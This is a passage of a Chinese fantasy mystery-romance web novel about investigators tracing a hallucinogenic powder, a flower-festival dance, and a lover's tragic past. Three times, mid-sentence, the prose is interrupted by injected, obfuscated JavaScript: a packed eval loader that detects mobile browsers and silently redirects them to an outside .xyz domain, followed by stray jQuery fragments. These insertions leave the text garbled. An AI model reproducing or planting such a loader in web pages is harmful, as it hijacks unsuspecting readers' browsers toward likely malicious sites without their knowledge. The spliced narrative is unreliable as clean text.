巡夜衙役的灯笼突然照亮巷口,水火棍碰撞声由远及近。那人影见状,竟猛地将水晶兰按进自己胸口,瞬间化作满天花瓣。顾时夜伸手去抓,只攥到一片染血的孔雀翎羽,羽根处刻着细小的尸花纹路。 “追丢了。”顾夜白喘着气,鸦翼上还沾着金粉,“但那幻术里的画面……苏挽棠好像是自己.....自杀了?” 白鸽却蹲在人影消失处,用帕子包起一捧泥土:"土里有幻心散的虹彩粉末,还有这个——"他捻起一粒暗红碎屑,对着灯笼细看,"像是焚烧后的指骨,骨膜上有被啃噬的齿痕。"三人对视一眼,同时想起江知烨提过的腐骨养花,地窖里春桃瓮中那些穿透躯体的花茎,此刻在脑海中幻化成蠕动的根须。 三人返回地窖时,春桃瓮中的水晶兰突然发出微光。顾夜白用刀尖挑起木匣里的幻心散,粉末在灯光下泛着虹彩:“这东西的配方,倒像南疆的‘梦骨散’,但多了一味……”他忽然停住,"他忽然停住,盯着匣底残留的骨渣,:“难道是用活人的指骨磨粉?” 白鸽突然指向瓮壁缝隙:"看这个。"那是用指甲划出的歪扭刻痕,血痂已渗入陶纹,断断续续拼成几个字。 "......花说......我该回去......" 顾夜白凑近细看,猛地后退半步——那划痕边缘嵌着半片断裂的指甲,甲床处还凝着暗红血珠,:“这是春桃的指甲!她被做成这样前还活着!” 地窖深处突然传来规律的滴水声,在寂静中如鼓点般敲击耳膜。 顾时夜循声走向里侧石壁,只见石缝渗出的液体正顺着沟壑流淌,在地面积成水洼。他蹲身触水的瞬间,水洼表面突然浮现幻象——苏挽棠跪坐在水晶兰花海中央,下半身已没入腐殖质,苍白根系从裙摆裂隙钻出,与花茎缠绕成网。云彻手持银剪蹲在她面前,正修剪她发间的花枝,嘴里低唱着不成调的歌谣。 “是幻心散的残留幻境!”白鸽猛地捂住顾时夜的口鼻,“别盯着看!”但顾时夜已看清幻象里的细节。 “云彻用春桃引开我们,”顾时夜擦掉嘴角的血沫,刚才的幻象让他气血翻涌,“他的目的是苏挽棠。” “可苏挽棠为什么会中幻心散?”顾夜白捧着木匣,指尖抖得厉害,“她那么警惕的人……” 巷口突然传来车轮碾地的声响。三人吹灭灯笼潜出地窖,只见一辆青布篷车停在阴影里,驾车人戴着虎族面具,正往车下搬一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694751|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个缠满藤蔓的木箱。 顾时夜朝弟弟使了个眼色,顾夜白立刻展翅升空,鸦爪上绑着荧光粉包,趁那人开箱时撒了一把进去。 篷车很快驶离,三人悄悄跟上。车辙印在东溪桥附近消失,却在河边的芦苇荡里留下痕迹。顾时夜拨开芦苇,只见那虎族面具人正将木箱推进水里,水面泛起气泡,隐约有腐香飘出。 “动手!”顾时夜大喊着扑过去,短刃刺向那人后心。却听“噗”的一声,面具人化作满地黄叶,木箱里滚出的竟是个稻草人,身上绑着苏挽棠的生辰八字。 "调虎离山!"白鸽猛地抬头,只见城南方向腾起紫黑火光,正是霞水居的方位,"我们中了幻心散,这些都是幻术投影!他引我们来是为了焚烧罪证!"三人踩着露水狂奔,远处的火光将夜空染成血色,空气中弥漫着焦糊的甜香,应该是幻心散里的曼陀罗气味。 三人赶到霞水居的时候,这里已烧成一片焦土。顾时夜在灰烬里翻出半块未燃尽的木板,上面用刀刻着:“……血养百株,魂归花海……”白 顾夜白突然指着灰烬堆里的一个凹陷:“哥,你看这脚印!”那是个浅浅的足印,前掌宽而扁平,像是长期跪坐留下的痕迹,而足印边缘,散落着细小的骨粉。 夜风送来远处的钟声,已是子时。三人站在焦土上,顾时夜想起地窖里春桃瓮中的景象,那些穿透她身体的花茎,忽然明白云彻的真正目的——他不是要杀死神明,而是要将她酿成永不凋零的祭品,让她以花的形态永远属于自己。 “回都察院,”白鸽转身往回走。“得告诉安大人,幻心散的配方里,除了腐骨和曼陀罗,还需要活人的精血做药引。苏挽棠……是中了慢性幻心散自刎的,云彻这么做——是为了把苏挽棠养成属于他的花。” 顾夜白闻言打了个寒噤,:“那春桃呢?她也被做成花了吗?” “不,”顾时夜望着东方渐白的天色,“春桃是肥料,而苏挽棠……是他要献给自己的神。” 此时霞水居的焦土里,一株水晶兰正破土而出。花瓣通透如冰,花蕊处泛着淡淡的粉,在无人察觉的清晨轻轻颤动。 花茎顶端,一滴露珠凝结成泪滴状,折射出苏挽棠自刎前的最后一幕——云彻捧着水晶兰对她说:"你看,这花像不像你说的茜纱裙?"而她眼中的幻象里,整片花海都在为她起舞,直到发簪刺入心口的瞬间,才看见花瓣上凝结的不是露水,而是自己的血。 都察院的晨钟响起时,顾时夜三人站在停尸房前。地上散落的勿忘我已被晨露浸成深紫,而墙角阴影里,一只骨蝶正振翅飞起,翅膀上的咒文在晨光中闪烁——那是云彻用春桃指骨磨成的粉所绘,咒文大意是:我得不到的神明,将在花中永世属于我。 20. 花朝蝶梦:千蝶振翅 花朝节前的第七日,方妙在花神楼的小院里第三次踩空舞步。 "腰要再柔些,"大祭司放下手中的鎏金铃铛,竹杖点地发出笃笃声响,"花神女的舞步不是跳给人看,是要请花神入体。你瞧这铃铛,"她举起铃铛轻晃,九枚银铃发出细碎声响,"每一声都要落在花心开合的节拍上。 " 方妙低头看着自己腕间的银镯,:"大祭司......"她忽然停步,指尖捻住鬓边的绢花,"挽棠姐真的会喜欢我代替她吗?" 正给兰草浇水的白鸽手一顿,水瓢里的水珠滴在青砖上,晕开个浅痕。廊下折纸花的顾夜白突然开口:"云彻那疯子把她酿成了花,如今让你做花神女,才是真的让她安息。"下一秒顾时夜用肩头撞了他一下,眼神恶狠狠地瞪了他一眼。 门帘忽然被掀开,安德鲁带着一身阳光走进来,:"都在这儿正好,"他扬了扬手中的文书,"花朝节的巡防名册拟好了,顾时夜带狼卫守花神楼四周,白鸽领雀卫查检祭品——" "我呢?"江知烨靠在海棠树下,指尖转着枚铜钱,阳光透过叶隙在他脸上投下斑驳光影,"总不能让我站在街口数蝴蝶吧?" 安德鲁瞪他一眼,将文书塞进他怀里:"你陪大祭司坐主祭台,盯着点台上的银铃——云彻虽然死了,但幻心散的配方还在,防着有人搞鬼。"提到幻心散,方妙下意识攥紧了袖口,那里藏着柳漠澜给的避邪香囊,里面装着晒干的曼陀罗叶和碎骨粉。 花朝节前的第三日,南都的街巷已挂满了五彩花幡。江知烨巡视到东溪桥时,正见顾夜白蹲在桥头逗弄一群稚童,鸦羽上挂着的荧光粉把孩子们的手掌染得发亮。 "江大人!"一个扎羊角辫的小姑娘跑过来,手里举着朵用纸剪的水晶兰,"这是花神女要戴的花吗?" 他接过纸花,指尖触到花瓣边缘的齿痕,眼前不经回想起那片花海。不远处,安德鲁正跟几个商户争执幡旗的颜色,:"说了用正红,偏要掺茜色,当都察院的文书是摆设?" "大人息怒,"为首的绸缎庄老板擦着汗,"今年流行茜色配银线,说是像......像水晶兰在月光下的样子。" 江知烨猛地抬头,正看见顾时夜从对面屋顶掠过,手里上提着个布包,里面鼓鼓囊囊不知装着什么。"站住!"他扬声喊道,却见顾时夜朝他比了个噤声手势,跃进了旁边的染坊。 染坊里弥漫着草木灰的气味,白鸽正蹲在染缸边,用帕子沾取缸中液体:"顾时夜发现这缸里泡着的布料,纹样跟云彻常穿的月白锦袍一样。"他将帕子凑到江知烨鼻前,除了染料味,还有一丝若有若无的甜腥——正是幻心散里腐骨粉的味道。 顾时夜从梁上跃下,布包里掉出几团晒干的曼陀罗花:"墙角还藏着这个,跟地窖里的幻心散原料一样。"三人对视一眼,猛地记起花神楼顶上供奉的花神雕像,底座正是用染坊特有的红胶土塑成。 "看来云彻的余党还在,"江知烨捏碎一朵曼陀罗,紫色汁液染在指尖,"他们想在花朝节搞事。" 安德鲁赶到时,正见江知烨用铜钱在染缸边画符:"别瞎折腾,"他夺过铜钱塞进自己袖袋,"花朝节还有两天,全城百姓都盯着呢,把染坊封了,派衙役守着。"他转身对顾时夜说:"你去告诉方妙,让她今晚加练,银铃舞不能出半点差错。" 花朝节前夜,苏挽棠的小院里点起了长明灯。方妙对着铜镜调整发间的银饰,忽然看见镜中映出大祭司的身影,老人正将一枚银铃系在她腰间:"这是苏挽棠用过的铃,"大祭司的声音很轻,"当年她第一次做花神女,也是戴着它。" 银铃触手生凉,铃身上刻着细小的花瓣纹路。方妙想起春桃说过,苏挽棠总在跳舞时把铃铛摇得像落雨,可云彻案里找到的铃,却被烧得只剩半个。"大祭司....."她摸着铃身的纹路,"挽棠真的喜欢当花神女吗?" 大祭司没说话,只是替她理平裙摆上的百花刺绣。院门外传来脚步声,安德鲁抱着件云锦斗篷走进来:"后半夜凉,披上。" 江知烨靠在门框上,手里转着新的铜钱:"方才巡街,看见花神楼前搭起了蝶笼,"他顿了顿,看着方妙腕间的银镯,"顾时夜说蝶笼里的蝴蝶都是用蜜糖水喂大的,翅膀上还沾着荧光粉。" 闻言方妙低垂眼眸,不知道在想什么。江知烨似乎看穿了她的心思,鞋跟轻点地面:"放心,明晨让白鸽在蝶笼里撒了防幻香,就算有骨蝶混进去,也会被熏出来。" 花朝节当日,南都的天空蓝得像水洗过。江知烨站在花神楼的主祭台上,看着台下攒动的人头,忽然觉得有些恍惚——半月前这里还是追查凶案的现场,如今却摆满了供花,空气中飘着甜腻的花粉香。 安德鲁坐在江知烨身旁,正用算盘核对着祭品数目:"三牲、九谷、百花酿......大祭司呢?" "在教方妙整理衣饰。"江知烨望向后台,只见顾夜白正追着一只误飞进来的粉蝶跑。白鸽抱着个木箱走过,箱子里新采的桃花枝,要供在花神雕像前。 巳时三刻,祭乐响起。方妙穿着百花攒成的华服,一步步走上花神楼的台阶。她腰间的银铃随着步伐轻响,每一步都踩在乐师敲击编钟的节拍上。 "别紧张,"安德鲁低声说,手指在案几上敲出节奏,"就当是跳给苏挽棠看。" 方妙抬头望向台下,恍惚间人群中闪过熟悉的身影——当年的自己正踮脚朝台上望。 那一刻,她想起特训时大祭司说话:"花神女的舞,是要让花神看见人间的热闹。" 只要春天还会来,花神就会在这里等你。 祭乐转到高潮,方妙展开水袖,开始跳银铃舞。每一次旋转,腰间的银铃都发出清越声响,与台下百姓抛洒的花瓣相得益彰。 舞到第三段时,方妙按动了腰间机关,九枚银铃同时发出长鸣。这是召唤蝴蝶的信号。台下的百姓顿时安静下来,千万双眼睛望向花神楼后的蝶笼。 时间一分一秒过去,蝶笼却毫无动静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694752|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方妙握着银铃的手开始发抖,台下传来窃窃私语。安德鲁猛地站起身,:"怎么回事?" 江知烨已飞身跃下祭台,冲向蝶笼。顾时夜同时抽出短刃,割开笼绳。然而笼门打开的瞬间,里面飞出的不是彩蝶,而是无数骨蝶。 "是幻心散!"白鸽大喊着撒出防幻香,却见骨蝶遇香不散,反而聚成更大的蝶群,扑向台上的方妙。顾夜白展翅冲上前,手刃拍碎几只骨蝶,却感觉指尖发麻——骨粉沾在指尖上,竟渗出暗红汁液。 方妙看着扑来的骨蝶,脑海里闪过苏挽棠幻象里的画面。她深吸一口气,举起银铃用力摇晃,铃声比刚才更加清亮,带着某种奇异的韵律。奇迹般地,那些骨蝶在铃声中开始解体,化作粉末落在她的裙摆上。 与此同时,花神楼后的桃林里,真正的彩蝶终于破茧而出。 不知是谁先喊了一声:"看!千蝶飞舞!"只见万千彩蝶铺天盖地而来,翅膀上的荧光粉在阳光下织成彩虹,绕着方妙飞舞,将她笼罩在一片光雾中。 骨蝶粉末落在彩蝶翅膀上,竟瞬间变成了花瓣。方妙看着环绕自己的蝶群,踮起脚尖旋转,银铃与蝶翼的声响融为一体,仿佛苏挽棠真的在花海中起舞。 安德鲁看着蝶群中起舞的方妙,忽然对方知烨说:"你看,她比苏挽棠当年跳得还好。" 江知烨没说话,只是望着蝶群中若隐若现的水晶兰光影。 其实古籍里所说的,还有一句:尸花以血养魂,但若有真心祭奠,便能化骨为蝶。此刻那些在方妙发间飞舞的彩蝶,翅膀上隐约映着苏挽棠的笑靥。 “你知道我为什么提议要妙妙当花神女吗?” “为什么?” “因为她眨眼时,我看见千万只蝶蛹在她眼白里破茧成光” 也因为,她眸裁新柳千条绿,流转间,半生荒原——枯松抽新绿。 仪式结束时,方妙站在花神楼最高处,将银铃系在栏杆上。风吹过,铃铛发出清越的声响,惊起最后一群彩蝶。柳漠澜则站在祭台旁,对着空气轻轻说了句:"挽棠,看到了吗?" 江知烨走到柳漠澜身边,看着台下欢腾的百姓:"案子结了,幻心散的余党也被蝴蝶冲散了。" "结了?"柳漠澜轻轻一笑,转身看着身旁的人,"那大人是不是要兑现承诺了?" “自然”江知烨试探性地牵起柳漠澜骨节分明的手,垂眸将唇贴向腕脉,睫毛扫过对方因惊悸而暴起的青筋:"方才在花神楼看到西府海棠开了——" "公子可愿让在下,折一枝带露的春色?" 此刻,千蝶仍在城上空飞舞,翅膀上的荧光粉渐渐消散,化作春日里第一场花雨。方妙摸着腕间的银镯,抬头望着天明白了一些道理,有些告别不是结束,而是让思念化作蝴蝶,永远停留在花开的季节。 而她,作为新的花神女,将带着苏挽棠的那份期盼,继续在每年的花朝节,为这座城摇响唤蝶的银铃。 或许,有些约定,还来得及兑现。 21. 钉春藏雪:桃深叩新红 江知烨掀开车帘时,檐角铜铃恰在东风里晃出个破音。 "这处桃林是以前一些旧族的私园,"他跳下车,伸手去扶柳漠澜,"据说百年前栽的是北地血桃,如今倒混了些粉白的品种。" 园门是月洞形,青砖缝里生着苔藓。江知烨推门时听见吱呀声响,惊起枝上宿鸟,扑棱棱振翅间抖落几片早开的花瓣。他回头想说什么,却见柳漠澜正停在门内的青石板上,袖中竹杖轻点着地面的苔痕——那石板缝里嵌着几粒桃核,被岁月磨得发亮。 "当年园主建这园子时,"江知烨蹲下身捡起一枚桃核,"特意让人把核嵌进路缝里,说是要''步步生桃''。"他捏着核儿在掌心搓了搓,抬头时见柳漠澜正望着不远处的桃树。 桃林沿坡势漫开,低处的花枝已缀满花苞,顶端却开了几树早花。江知烨拨开横斜的枝条往里走,听见身后衣袂扫过枝叶的轻响。他忽然停步转身,柳漠澜没防住,差点撞进他怀里。 “怎么,柳老板怎么心不在焉的?”江知烨微微俯身端详柳漠澜的双眸,那双眸好似有法术一样,叫人挪不开眼。 “还不怪大人突然停下。”柳漠澜假意嗔怪到。 "你瞧这枝,"江知烨转而指着横在眼前的树枝,上面缀着的花苞像浸了蜜的胭脂,"像是要把整个春天都憋在里面。"他说话时有意凑近,想看看柳漠澜耳尖会不会泛红,却见那人忽然抬手,指尖轻轻碰了碰花苞尖端。 "北地血桃开时,"柳漠澜的声音比花瓣坠地还轻,"花苞要先裂开道缝,像被火烧过似的。"他说着收回手,指腹上还沾着点花粉,在阳光下泛着细闪。 坡上有座歇山顶的小亭,四柱爬满了去年的枯藤。 江知烨上去掸了掸石凳,"这园子的主人爱喝桃花酿,"他从袖中摸出个扁酒壶,"猜你喜欢清冽的,就弄点带着,给。" “有心了呢,真是谢谢江大人喽。”柳漠澜接酒壶时,两人指尖相触。江知烨感觉那微凉的指尖在自己手心里顿了顿,像是要描摹什么,却又很快松开。他看着对方仰脖饮酒的模样,喉结在素白的衣领间轻轻滚动,脆弱的脖颈处,青绿的血管若隐若现。 "你说北地血桃,"江知烨别开脸去看亭外的花,"是不是真的像血一样红?" “比血深些,"柳漠澜把空酒壶递还给他,"像冬至日熬的朱砂墨,凝在枝头时,连叶子都要避着它。" 江知烨忽然意识到,从进园到现在,这人一次都没正眼看自己,总是望着花,望着天,望着地上的苔。 “江大人想知道,我的秘密吗?”柳漠澜抬眼看向对面的人,语气里的苦涩似要溢出来。 “好,说罢。”江知烨放柔声音,此时他的心早已提到了嗓子眼——能对一个人展露自己的过往,无疑对方已把自己视为最信任的人了。 “其实......”柳漠澜攥紧衣袖,指尖因用力而泛白,:“其实,我和苏挽棠之间,还有一个人,叫谢白玉.....” 事情要回到.....柳漠澜成年的后几年,那时候他还是青涩地少年郎,性子淡漠,但头脑灵光,会做生意。 谢白玉,生活在西部草原的草原狐,总是豪情壮志,但却笨手笨脚的。 或许这就是老套的故事,内向的人遇到一个改变他一生的太阳......可是,一切却又不一样..... “阿澜!快——来——看——啊!”年轻气盛地少年郎站在山丘上,身后是一望无际地天空以及漫天的烟花。 那时候的烟花真的很美,美的可以忽视一切,眼里只有那被风吹乱发丝的对方。 谢白玉和柳漠澜认识的时候,是在一片竹林里,竹叶被风吹的沙沙作响,若隐若现地还有淡淡酒香。 微风钻过竹梢时,把柳漠澜袖中的杨花酿香气卷成了线。他靠坐在斑驳的青石上,听着身后竹叶沙沙的声响——响动里藏着刻意放轻的脚步声,像只偷腥的猫。 酒壶在掌心转了半圈,柳漠澜忽然开口,声线比竹荫还凉:"西疆的沙砾,也会学江南的蝉躲迷藏么?" 竹林深处的窸窣声顿住了。 半晌,个顶着一头晃眼金发的少年蹭了出来,身上粗布衣衫沾着草屑,右耳坠着枚嵌沙砾的银环。他挠了挠头,琥珀色瞳孔在竹影里亮得像落了阳光:"喂,你怎么知道我从西边来?" 柳漠澜抬眸瞥他。 少年腰间悬着柄吞口兽首的短刀,刀柄缠着的红绸已褪成浅粉,是西疆马帮惯用的样式。 "你靴底沾着的沙,"他指了指青石旁的泥痕,"带点罗布泊的盐碱气。" 金发少年"哦"了声,大大咧咧蹲到他对面,鼻尖凑近酒壶深吸一口气:"杨花酿?江南人就爱这些甜津津的玩意儿。"话音未落,忽然拔刀出鞘,刀锋在柳漠澜眼前划出半道弧光——却精准地削落了他肩头一片将坠的竹叶。 "我叫谢白玉,"少年收刀入鞘,"白玉为心的白,谢君仗剑的谢,你呢?" 柳漠澜望着他手腕上那串风干的沙枣核手串,"柳漠澜。" 谢白玉突然伸手夺过酒壶,仰脖灌了一大口,喉结滚动时,颈侧露出道月牙形的旧疤。"啧,比我们那儿的马奶酒差远了。"他抹了把嘴,忽然压低声音,"我可告诉你,我是逃婚出来的!家里非要我娶族长孙女,那姑娘能把十斤重的马头琴当流星锤耍..." 柳漠澜看着他手舞足蹈的样子,嘴角几不可察地扬了扬。风过竹林时,他看见谢白玉发间沾着片竹叶,想说又止,只将酒壶往对方那边推了推。 三日后,他们在溧水镇的茶棚遇见了苏挽棠,对方蹲在路边给一株歪脖子山茶包扎。 谢白玉凑过去时,惊起了少女袖底栖着的蝶:"喂,你这花还能治伤?" 苏挽棠抬头时,柳漠澜看见她眼尾缀着粒浅褐的痣,像落在雪上的茶渍。"山茶树被马啃了皮,"她指尖抚过树干上的齿痕,语气嗔怪,"得用晨露调了桃花膏敷上。" 谢白玉听得目瞪口呆一愣一愣地,思考片刻后从怀里掏出个皱巴巴的布包:"我这儿有葡萄干!比你们江南的蜜饯甜十倍!" 后来他们常去城郊的花田。谢白玉总把苏挽棠编的花环套在柳漠澜头上,笑他脸色比花还白;柳漠澜则默默记下苏挽棠说的每种草药习性,在她采药时用竹杖拨开带刺的藤蔓;苏挽棠会把晒干的花瓣缝进他们的香囊,说西疆的沙枣香混着江南的桂子,能驱蚊。 仲夏夜,三人在老槐树下摆棋。谢白玉总爱含着棋子思考,被柳漠澜敲了好几次手背。"喂,你看那边!"他忽然指向夜空,无数流萤从花田飞起,苏挽棠笑着去追,裙角扫过草尖时,那些萤火虫竟跟着她的步子聚成了朵莲花。 柳漠澜看着谢白玉眼里映着的流萤光,想起第一次在竹林见他时,少年拔刀的速度快得像道闪电。"你那刀,"他捻起枚白子,"是家传的?" 谢白玉正往嘴里塞葡萄,闻言噎了下:"算是吧...不过我阿爷说,这刀该用来劈豺狼,不是削竹叶。"他说得轻松,指尖却无意识地摩挲着刀柄上的兽首。 入秋时,苏挽棠被选为花神女,要去山中古祠守祭。临行前她送了柳漠澜一方绣着并蒂莲的帕子,给谢白玉的则是袋晒干的沙枣花。"这花能泡茶,"她踮脚替谢白玉理了理乱发,"你们要是想我了,就去祠外那棵石榴树下说说话,我听得见。" 谢白玉突然把柳漠澜拉到一边,从靴筒里摸出枚刻着狐头的铜哨:"其实我...唉,反正要是有麻烦,你吹这个,我十里内准到。"他说得飞快,耳根却红了。 柳漠澜接过哨子,触手冰凉,才发现那是用半块寒铁铸成的。 变故来得毫无征兆。 那天柳漠澜去给苏挽棠送新采的草药,路过山涧时听见兵刃相接的声响。他拨开灌木,看见谢白玉被三个蒙面人围攻,短刀在石面上划出串串火星。其中一人招式狠戾,招招直逼谢白玉腰侧——那里绑着个鼓鼓囊囊的皮袋。 柳漠澜抽出腰间竹笛,指腹按上笛孔的瞬间,却见谢白玉忽然转身,刀锋直朝自己刺来。那刀尖在离咽喉三寸处顿住,少年琥珀色的瞳孔里映着他惊愕的脸,还有身后那人挥来的毒针。 "走!"谢白玉猛地将他推开,皮袋从腰间飞落,滚出颗血色的桃核。 后来柳漠澜才知道,那是北地血桃的核,是谢白玉族人世代守护的。 而追杀他的,正是当年灭了西疆旧部的南都士族。 他在山涧下游找到昏迷的谢白玉时,少年后背插着支毒箭。 "别去找他们..."谢白玉醒后第一句话,就是拽住柳漠澜的衣袖,"苏挽棠不知道这些事,让她...好好当她的花神女。"他咳出的血滴在柳漠澜手背上,很烫。 冬至前夜,雪下得很大。柳漠澜在城郊的破庙找到谢白玉时,少年正对着火堆磨那柄短刀。"他们说,只要我把血桃核交出去,就放过所有还活着的族人。"他头也不抬,语气异常地平静,"可我知道,交了核,他们还是会杀过来。" 柳漠澜看着他手背上新添的伤疤,大概是前日引开追兵时被箭划破的。 "我陪你去。" 他说得自然,心里却想起苏挽棠临走前说的话:"漠澜,阿玉看你的眼神,像守山狼看月亮。" 约定的地点在城外的望星丘。谢白玉把血桃核埋在雪下,用短刀划了朵沙棘花做记号。柳漠澜站在他身后,听着远处传来的马蹄声由远及近。 "喂,"谢白玉忽然回头,金发上落着雪花,"要是我死了,你就告诉苏挽棠,说我回老家娶媳妇儿了,她准信。" 柳漠澜没说话,只是握紧了袖中的竹笛,里面藏着枚淬了毒的银针。他本想等谢白玉交出核就制住对方,再带他远走高飞,却没料到等来的,是南都的死士——为首的,正是他从未蒙面的二叔。 "交出血核,饶你全族性命。"二叔的声音透过面罩传来,冰冷得像雪。 谢白玉忽然笑了,他伸手拍了拍柳漠澜的肩,力道重得像要把人嵌进骨血里:"听见没?要饶我全族呢。" 柳漠澜看着少年琥珀色的瞳孔,里面映着自己苍白的脸,还有身后渐渐围拢的黑影。 他想起竹林初见时,少年说自己是逃婚的;想起槐树下对弈,那人含着棋子耍赖;想起苏挽棠说,阿玉看他的眼神像守山狼看月亮。 "动手吧。"谢白玉的声音很轻,却清晰地穿过风雪,"用你最擅长的招式,别让他们看出破绽。" 柳漠澜的指尖在袖中颤抖。他看见谢白玉松开了刀柄,双臂微微张开,像是要拥抱什么。远处忽然炸开一朵烟花,绿莹莹的光映亮了雪地,也映亮了少年嘴角那抹释然的笑。 “阿澜!快——来——看——啊!” 竹笛划破空气的声响,比烟花爆裂声更尖锐。银针没入谢白玉心口时,他甚至能感觉到对方身体的轻颤。 "这样...你就能回去了..." "替我...看江南的春天..." 柳漠澜扶住谢白玉软倒的身体,闻到对方发间还残留着苏挽棠给的沙枣花香。远处的马蹄声渐近,他听见二叔冷哼一声:"算你识相。" 冷风吹过,吹乱了他的头发,谢白玉半睁的眼眸里,是他。 而自己的眼里,是发丝凌乱的谢白玉。 那天的烟花很美,美的彼此眼里只有对方;那年的雪很小,小的一滴血就染浸了一片雪地..... 后来苏挽棠从山中回来,只看见柳漠澜独自一人站在望星丘上。 他说谢白玉回了西疆,去娶能耍流星锤的姑娘了。 她不信,去那棵石榴树下坐了三天三夜,只等到柳漠澜送来一袋晒干的沙枣花,说这是阿玉托人带来的。 如今每年冬至,柳漠澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694753|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会去望星丘。他会在当年埋血核的地方摆上一壶杨花酿,看天空炸开的烟花。 有一次苏挽棠偶然撞见,问他在看什么。 而他每次都是淡淡回应:"看西疆的沙砾,有没有飘到江南来。" 风过丘峦时,他仿佛又听见少年大大咧咧的笑声,说江南的烟花虽美,却不如西疆的沙暴来得痛快。藏在袖口的手心里的铜哨,像谁留在春夜里,一个未说完的约定。 白玉为心尘不染,谢君仗剑守西垣。 柳岸澜生烟雨舟,青衫载酒渡春愁。 棠开古祠春祭处,挽星织梦棠梨雪。 残碑独刻西疆月,孤影犹温旧剑寒。 ——《三友诗》 亭外起了风,吹得满树花苞轻轻摇晃。江知烨看见柳漠澜发间落了片花瓣,想说又不好意思,只得假装整理腰带,余光却瞥见对方忽然抬手,用扇柄将花瓣拨到自己袖中。 "这花留不住。" "不如收起来,等秋天拿核儿去换酒。" 他们沿着桃林小径往下走时,江知烨忽然停步。前方的桃树长得格外繁盛,枝条交错着搭成拱门,上面开满了粉白的花。 "去年我来的时候,这棵树还没开得这么盛,"他伸手想去碰花瓣,又怕碰落了,"你说是不是因为今年春天暖得早?" 柳漠澜没回答,却慢慢走到花拱下。阳光透过花瓣照在他身上,将长衫染成淡粉,连睫毛尖都落着碎光。江知烨看着他抬手去够最高处的花枝,袖口滑落露出半截手腕,那肤色比初开的花瓣还要通透。 "当心扎手,"他忍不住上前一步,"这树老枝上有刺。"话音未落,就见柳漠澜指尖已被刺划破,渗出颗血珠。 他几乎是本能地抓住对方手腕,用自己的帕子去按伤口,却听见那人轻笑一声:"江大人倒是比花还惜疼。" 那声轻笑像根细针,轻轻挑开江知烨心里某层东西。他捏着柳漠澜的手腕没放,能感觉到皮肤下细微的脉动。 "我答应过带你来看花,"他听见自己的声音有些发哑,"总不能让你带伤回去。" 柳漠澜忽然凑近,温热的呼吸拂过江知烨耳畔:"可我听说,桃花沾了人血,秋天结的果子才够甜。" "瞎说,注意点知道没?"江知烨嗔怪道,耳尖却泛起了红。 "好好——"柳漠澜嘴角微勾,有丝得意地看着拿自己无可奈何的江知烨,转身继续走。 他们在桃林深处的古井边坐下时,日头已偏西。江知烨用井绳吊上桶水,看见柳漠澜正蹲在井台边,用竹杖拨弄着石缝里的青苔。"这井台是用整块青石雕的,"他把水瓢递给对方,"你看这沿儿,都被磨出包浆了。" 柳漠澜接水瓢时,指腹擦过他掌心。江知烨看着对方低头喝水的样子,喉结滚动时,一股莫名的情愫直冲胸腔。 "你说园主为什么在井边种桃花?"他没话找话,眼睛却盯着柳漠澜垂落的发丝。 "或许是想让落花有处可寻,"柳漠澜放下水瓢,指腹抹了抹嘴角,"又或许,是想看花开在水里的样子。"他说着抬手,将一片飘落的花瓣按在井台的青苔上,"你瞧,这样就不会被风吹走了。" 江知烨顺着他的手望去,只见花瓣下的青苔被压出个浅痕,像枚淡粉的印章。他忽然想起小时候看的话本,说情人间会把花瓣压在书页里,当作定情信物。这个念头刚冒出来,就见柳漠澜站起身,竹杖点地走向不远处的桃树。 那是棵长在井台边的老桃,树干扭曲得像条卧龙,枝上开着少见的重瓣花。柳漠澜停在树下,伸手抚摸着粗糙的树皮,指节在沟壑间轻轻滑动。 "这树怕是有百年了,"江知烨用指关节敲了敲树干,"你看这疤,像是被雷劈过。" 柳漠澜没应声,只是从袖中取出枚银钉,轻轻按进树干的某道裂缝里。"以前啊......"他声音很轻,像是说给自己听,"人们会把心愿钉在树里,等花开时,神就会看见。"银钉没入树皮的瞬间,恰好有片花瓣落在发间,宛如谁替他簪了朵花。 江知烨看着那枚银钉,想起自己袖袋里放着的铜钱——那是今早出门前特意挑的,背面刻着个"春"字。他想把钱钉进树里,又觉得太孩子气,正犹豫着,柳漠澜忽然转身,竹杖尖挑起他落在肩头的花瓣:"江大人在想什么?" "想这树秋天会结多少桃,"江知烨脱口而出,说完就后悔了,耳根渐渐发烫。他看见柳漠澜嘴角微不可察地扬了扬,像春风拂过水面,刚起涟漪就又平复。 夕阳把桃林染成琥珀色时,他们沿着来时的路往回走。江知烨踢着路上的桃核,听见身后柳漠澜的竹杖点地声,一声,又一声,像是在数着什么。 走到月洞门时,他忽然停下脚步,转身看着被夕阳勾勒出金边的人。 